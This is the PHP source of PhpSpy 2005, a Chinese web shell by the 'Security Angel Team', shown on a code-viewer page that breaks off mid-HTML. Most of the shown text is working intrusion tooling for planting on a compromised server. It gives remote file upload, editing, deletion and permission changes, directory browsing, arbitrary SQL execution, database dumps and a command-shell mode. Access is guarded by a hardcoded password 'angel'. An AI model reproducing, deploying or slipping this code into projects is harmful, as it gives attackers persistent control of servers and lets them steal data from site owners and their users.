📄 phpspy_2005_full.php
字号:
<?php
/*
+--------------------------------------------------------------------------+
| str_replace("-", "", "P-h-p-S-p-y") Version:2005 Full |
| Codz by Angel |
| (c) 2004 Security Angel Team |
| http://www.4ngel.net |
| ======================================================================== |
| Team: http://www.4ngel.net |
| http://www.bugkidz.org |
| Email: 4ngel@21cn.com |
| Date: Dec 28st(My girl friend's birthday), 2004 |
+--------------------------------------------------------------------------+
*/
error_reporting(7);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
/*===================== 程序配置 =====================*/
// 是否需要密码验证,1为需要验证,其他数字为直接进入.下面选项则无效
$admin['check']="1";
// 验证方式,1为采用 Session 验证,其他数字则采用 Cookie验证
// 默认采用 Session 验证,如果不能正常登陆,建议改为 Cookie验证
$admin['checkmode']="1";
// 如果需要密码验证,请修改登陆密码
$admin['pass']="angel";
/*===================== 配置结束 =====================*/
// 允许程序在 register_globals = off 的环境下工作
if ( function_exists('ini_get') ) {
$onoff = ini_get('register_globals');
} else {
$onoff = get_cfg_var('register_globals');
}
if ($onoff != 1) {
@extract($_POST, EXTR_SKIP);
@extract($_GET, EXTR_SKIP);
}
$self = $_SERVER['PHP_SELF'];
/*===================== 身份验证 =====================*/
if($admin['check']=="1") {
if($admin['checkmode']=="1") {
/*------- session 验证 -------*/
session_start();
if ($_GET['action'] == "logout") {
session_destroy();
echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$self."\">";
echo "<span style=\"font-size: 12px; font-family: Verdana\">注销成功......<p><a href=\"".$self."\">三秒后自动退出或单击这里退出程序界面>>></a></span>";
exit;
}
if ($login) {
$adminpass=trim($_POST['adminpass']);
if ($adminpass==$admin['pass']) {
$_SESSION['adminpass'] = $admin['pass'];
echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$self."\">";
echo "<span style=\"font-size: 12px; font-family: Verdana\">登陆成功......<p><a href=\"".$self."\">三秒后自动跳转或单击这里进入程序界面>>></a></span>";
exit;
}
}
if (session_is_registered('adminpass')) {
if ($_SESSION['adminpass']!=$admin['pass']) {
loginpage();
}
} else {
loginpage();
}
} else {
/*------- cookie 验证 -------*/
if ($_GET['action'] == "logout") {
setcookie ("adminpass", "");
echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$self."\">";
echo "<span style=\"font-size: 12px; font-family: Verdana\">注销成功......<p><a href=\"".$self."\">三秒后自动退出或单击这里退出程序界面>>></a></span>";
exit;
}
if ($login) {
$adminpass=trim($_POST['adminpass']);
if ($adminpass==$admin['pass']) {
setcookie ("adminpass",$admin['pass'],time()+(1*24*3600));
echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$self."\">";
echo "<span style=\"font-size: 12px; font-family: Verdana\">登陆成功......<p><a href=\"".$self."\">三秒后自动跳转或单击这里进入程序界面>>></a></span>";
exit;
}
}
if (isset($_COOKIE['adminpass'])) {
if ($_COOKIE['adminpass']!=$admin['pass']) {
loginpage();
}
} else {
loginpage();
}
}
}//end check
/*===================== 验证结束 =====================*/
// 判断 magic_quotes_gpc 状态
if (get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
}
if ($_GET['action'] == "phpinfo") {
$dis_func = get_cfg_var("disable_functions");
echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函数已被禁用,请查看<PHP环境变量>";
exit;
}
// 下载文件
if (!empty($downfile)) {
if (!@file_exists($downfile)) {
echo "<script>alert('你要下的文件不存在!')</script>";
} else {
$filename = basename($downfile);
$filename_info = explode('.', $filename);
$fileext = $filename_info[count($filename_info)-1];
header('Content-type: application/x-'.$fileext);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Description: PHP Generated Data');
header('Content-Length: '.filesize($downfile));
@readfile($downfile);
exit;
}
}
// 程序目录
$pathname=str_replace('\\','/',dirname(__FILE__));
// 获取当前路径
if (!isset($dir) or empty($dir)) {
$dir = ".";
$nowpath = getPath($pathname, $dir);
} else {
$dir=$_GET['dir'];
$nowpath = getPath($pathname, $dir);
}
// 判断读写情况
if (dir_writeable($nowpath)) {
$dir_writeable = "可写";
} else {
$dir_writeable = "不可写";
}
$dis_func = get_cfg_var("disable_functions");
$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : "";
$shellmode=(!get_cfg_var("safe_mode")) ? " | <a href=\"?action=shell\">WebShell</a>" : "";
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>PhpSpy Ver 2005</title>
<style type="text/css">
body,td {
font-family: "sans-serif";
font-size: "12px";
line-height: "150%";
}
.smlfont {
font-family: "sans-serif";
font-size: "11px";
}
.INPUT {
FONT-SIZE: "12px";
COLOR: "#000000";
BACKGROUND-COLOR: "#FFFFFF";
height: "18px";
border: "1px solid #666666";
}
.redfont {
COLOR: "#A60000";
}
a:link,
a:visited,
a:active{
color: "#000000";
text-decoration: underline;
}
a:hover{
color: "#465584";
text-decoration: none;
}
.firstalt {BACKGROUND-COLOR: "#EFEFEF"}
.secondalt {BACKGROUND-COLOR: "#F5F5F5"}
</style>
<SCRIPT language=JavaScript>
function CheckAll(form)
{
for (var i=0;i<form.elements.length;i++)
{
var e = form.elements[i];
if (e.name != 'chkall')
e.checked = form.chkall.checked;
}
}
</SCRIPT>
</head>
<body style="table-layout:fixed; word-break:break-all">
<center>
<table width="760" border="0" cellpadding="3" cellspacing="0" bgcolor="#ffffff">
<tr bgcolor="#cccccc">
<td width="375" align="right" nowrap><b><?=$_SERVER['HTTP_HOST']?></b></td>
<td width="10" align="center" nowrap><b>:</b></td>
<td width="375" nowrap><b><?=$_SERVER['REMOTE_ADDR']?></b></td>
</tr>
<tr>
<td colspan="3" align="center" nowrap><a href="?action=logout">注销会话</a> | <a href="?action=dir">返回 PhpSpy 目录</a> | <a href="?action=phpenv">PHP环境变量</a><?=$phpinfo?><?=$shellmode?> | <a href="?action=sql">SQL Query</a> | <a href="?action=sqlbak">MySQL Backup</a> | <a href="http://www.4ngel.net" target="_blank" title="下载此程序">Version 2005</a></td>
</tr>
</table>
<hr width="760" noshade>
<table width="760" border="0" cellpadding="0">
<form action="" method="GET">
<tr>
<td><p>程序路径:<?=$pathname?><br>当前目录(<?=$dir_writeable?>,<?=substr(base_convert(@fileperms($nowpath),10,8),-4);?>):<?=$nowpath?>
<br>跳转目录:
<input name="dir" type="text" class="INPUT">
<input type="submit" class="INPUT" value="确定"> 〖支持绝对路径和相对路径〗
</p></td>
</tr>
</form>
<form action="?dir=<?=urlencode($dir)?>" method="POST" enctype="multipart/form-data">
<tr>
<td colspan="2">上传文件到当前目录:
<input name="uploadmyfile" type="file" class="INPUT"> <input type="submit" name="uploadfile" class="INPUT" value="确定">
<input type="hidden" name="uploaddir" value="<?=$dir?>"></td>
</tr>
</form>
<form action="?action=editfile&dir=<?=urlencode($dir)?>" method="POST">
<tr>
<td colspan="2">新建文件在当前目录:
<input name="newfile" type="text" class="INPUT" value="">
<input type="submit" class="INPUT" name="createfile" value="确定"></td>
</tr>
</form>
<form action="" method="POST">
<tr>
<td colspan="2">新建目录在当前目录:
<input name="newdirectory" type="text" class="INPUT" value="">
<input type="submit" class="INPUT" name="createdirectory" value="确定"></td>
</tr>
</form>
</table>
<hr width="760" noshade>
<?php
/*===================== 执行操作 开始 =====================*/
echo "<p><b>\n";
// 删除文件
if(@$delfile!="") {
if(file_exists($delfile)) {
if (@unlink($delfile)) {
echo "".$delfile." 删除成功!";
} else {
echo "文件删除失败!";
}
} else {
echo "文件已不存在,删除失败!";
}
}
// 删除目录
elseif($rmdir) {
if($deldir!="") {
$deldirs="$dir/$deldir";
if(!file_exists("$deldirs")) {
echo "目录已不存在!";
} else {
deltree($deldirs);
}
} else {
echo "删除失败!";
}
}
// 创建目录
elseif($createdirectory) {
if(!empty($newdirectory)) {
$mkdirs="$dir/$newdirectory";
if(file_exists("$mkdirs")) {
echo "该目录已存在!";
} else {
echo $msg=@mkdir("$mkdirs",0777) ? "创建目录成功!" : "创建失败!";
@chmod("$mkdirs",0777);
}
}
}
// 上传文件
elseif($uploadfile) {
echo $msg=@copy($_FILES['uploadmyfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadmyfile']['name']."") ? "上传成功!" : "上传失败!";
}
// 编辑文件
elseif($doeditfile) {
$filename="$editfilename";
@$fp=fopen("$filename","w");
echo $msg=@fwrite($fp,$_POST['filecontent']) ? "写入文件成功!" : "写入失败!";
@fclose($fp);
}
// 编辑文件属性
elseif($editfileperm) {
$fileperm=base_convert($_POST['fileperm'],8,10);
echo $msg=@chmod($dir."/".$file,$fileperm) ? "属性修改成功!" : "修改失败!";
echo " [".$file."] 修改后的属性为:".substr(base_convert(@fileperms($dir."/".$file),10,8),-4)."";
}
// 连接MYSQL
elseif($connect) {
if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) {
echo "数据库连接成功!";
mysql_close();
} else {
echo mysql_error();
}
}
// 执行SQL语句
elseif($doquery) {
@mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");
@mysql_select_db($dbname) or die("选择数据库失败");
$result = @mysql_query($_POST['sql_query']);
echo ($result) ? "SQL语句成功执行" : "出错: ".mysql_error();
mysql_close();
}
// 备份操作
elseif ($dobackup) {
if (empty($_POST[table])) {
echo "请选择欲备份的数据表";
} else {
@mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");
@mysql_select_db($dbname) or die("选择数据库失败");
$table = array_flip($_POST[table]);
$filehandle = @fopen($path,"w");
if ($filehandle) {
$result = mysql_query("SHOW tables");
echo ($result) ? NULL : "出错: ".mysql_error();
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
sqldumptable($currow[0], $filehandle);
fwrite($filehandle,"\n\n\n");
}
}
fclose($filehandle);
echo "数据库已成功备份到 <a href=\"".$path."\" target=\"_blank\">".$path."</a>";
mysql_close();
} else {
echo "备份失败,请确认目标文件夹是否具有可写权限.";
}
}
}
// 打包下载 PS:文件太大可能非常慢
// Thx : 小花
elseif($downrar) {
if ($dl != "") {
$dfiles="";
foreach ($dl AS $filepath=>$value) {
$dfiles.=$filepath.",";
}
$dfiles=substr($dfiles,0,strlen($dfiles)-1);
$dl=explode(",",$dfiles);
$zip=new PHPZip($dl);
$code=$zip->out;
$filename=$_POST['rarfile'];
header("Content-type: application/octet-stream");
header("Accept-Ranges: bytes");
header("Accept-Length: ".strlen($code));
header("Content-Disposition: attachment;filename=".$filename);
echo $code;
exit;
} else {
echo "请选择要打包下载的文件.";
}
}
// 查看PHP配置参数状况
elseif($viewphpvar) {
echo "配置参数 ".$_POST['phpvarname']." 检测结果: ".getphpcfg($_POST['phpvarname'])."";
}
else {
echo "本程序由 <a href=\"http://www.4ngel.net\" target=\"_blank\">Security Angel</a> 小组 angel [<a href=\"http://www.bugkidz.org\" target=\"_blank\">BST</a>] 独立开发,可在 <a href=\"http://www.4ngel.net\" target=\"_blank\">www.4ngel.net</a> 下载最新版本.";
}
echo "</b></p>\n";
/*===================== 执行操作 结束 =====================*/
if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {
?>
<table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -